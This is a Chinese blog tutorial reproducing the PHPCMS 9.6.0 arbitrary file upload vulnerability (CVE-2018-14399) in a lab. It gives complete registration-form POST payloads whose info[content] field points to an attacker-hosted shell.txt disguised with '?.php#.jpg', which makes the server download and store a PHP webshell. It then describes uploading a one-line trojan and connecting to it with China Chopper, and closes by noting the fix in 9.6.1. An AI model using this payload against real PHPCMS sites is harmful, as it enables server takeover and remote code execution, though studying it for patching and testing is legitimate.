phpcms9.6.0任意文件上传漏洞(CVE-2018-14399)

0x00:前言

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

可以直接前台getshell。

phpcms 9.6.0

0x01:漏洞测试

1.1 浏览器访问前台注册会员

1.2 点击注册按钮,用burp抓包

 

 发送到Repeater模块

1.3 在另外一台机器上打开web功能(实验机器winxp 打开wampserver ,地址为192.168.1.117)

并在www根目录下创建文件phpinfo.txt,内容为<?php phpinfo();?>

 1.4 构造POC

原本post请求数据:

siteid=1&modelid=10&username=admin&password=admin123&pwdconfirm=admin123&email=admin%40qq.com&nickname=admin&info%5Bbirthday%5D=2020-03-24&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

构造POC:

siteid=1&modelid=11&username=adminv2&password=adminv2123&email=adminv2%40qq.com&info[content]=<img src=http://192.168.1.117/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

1.5 将数据修改为POC

 1.6 返回reponse中有一个路径

1.7  访问该路径

 1.8 上传一句话木马,每次发送的时候,都要修改username,password和email字段值,因为不能重复

 

构造POC

siteid=1&modelid=11&username=adminv6&password=adminv6123&email=adminv6%40qq.com&info[content]=<img src=http://192.168.1.117/shell.txt?.php#.jpg>&dosubmit=1&protocol= 

 1.9 用菜刀连接

我的菜刀怎么连不上,难道是我的php版本的问题嘛????

  

 但是明明已经上传成功了,也不是菜刀不锋利了,试了一下再虚拟机中的shell都可以连接,但是本机的就是不可以,可能跟版本有关系

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次。

原文地址:https://www.cnblogs.com/liqik/p/12563019.html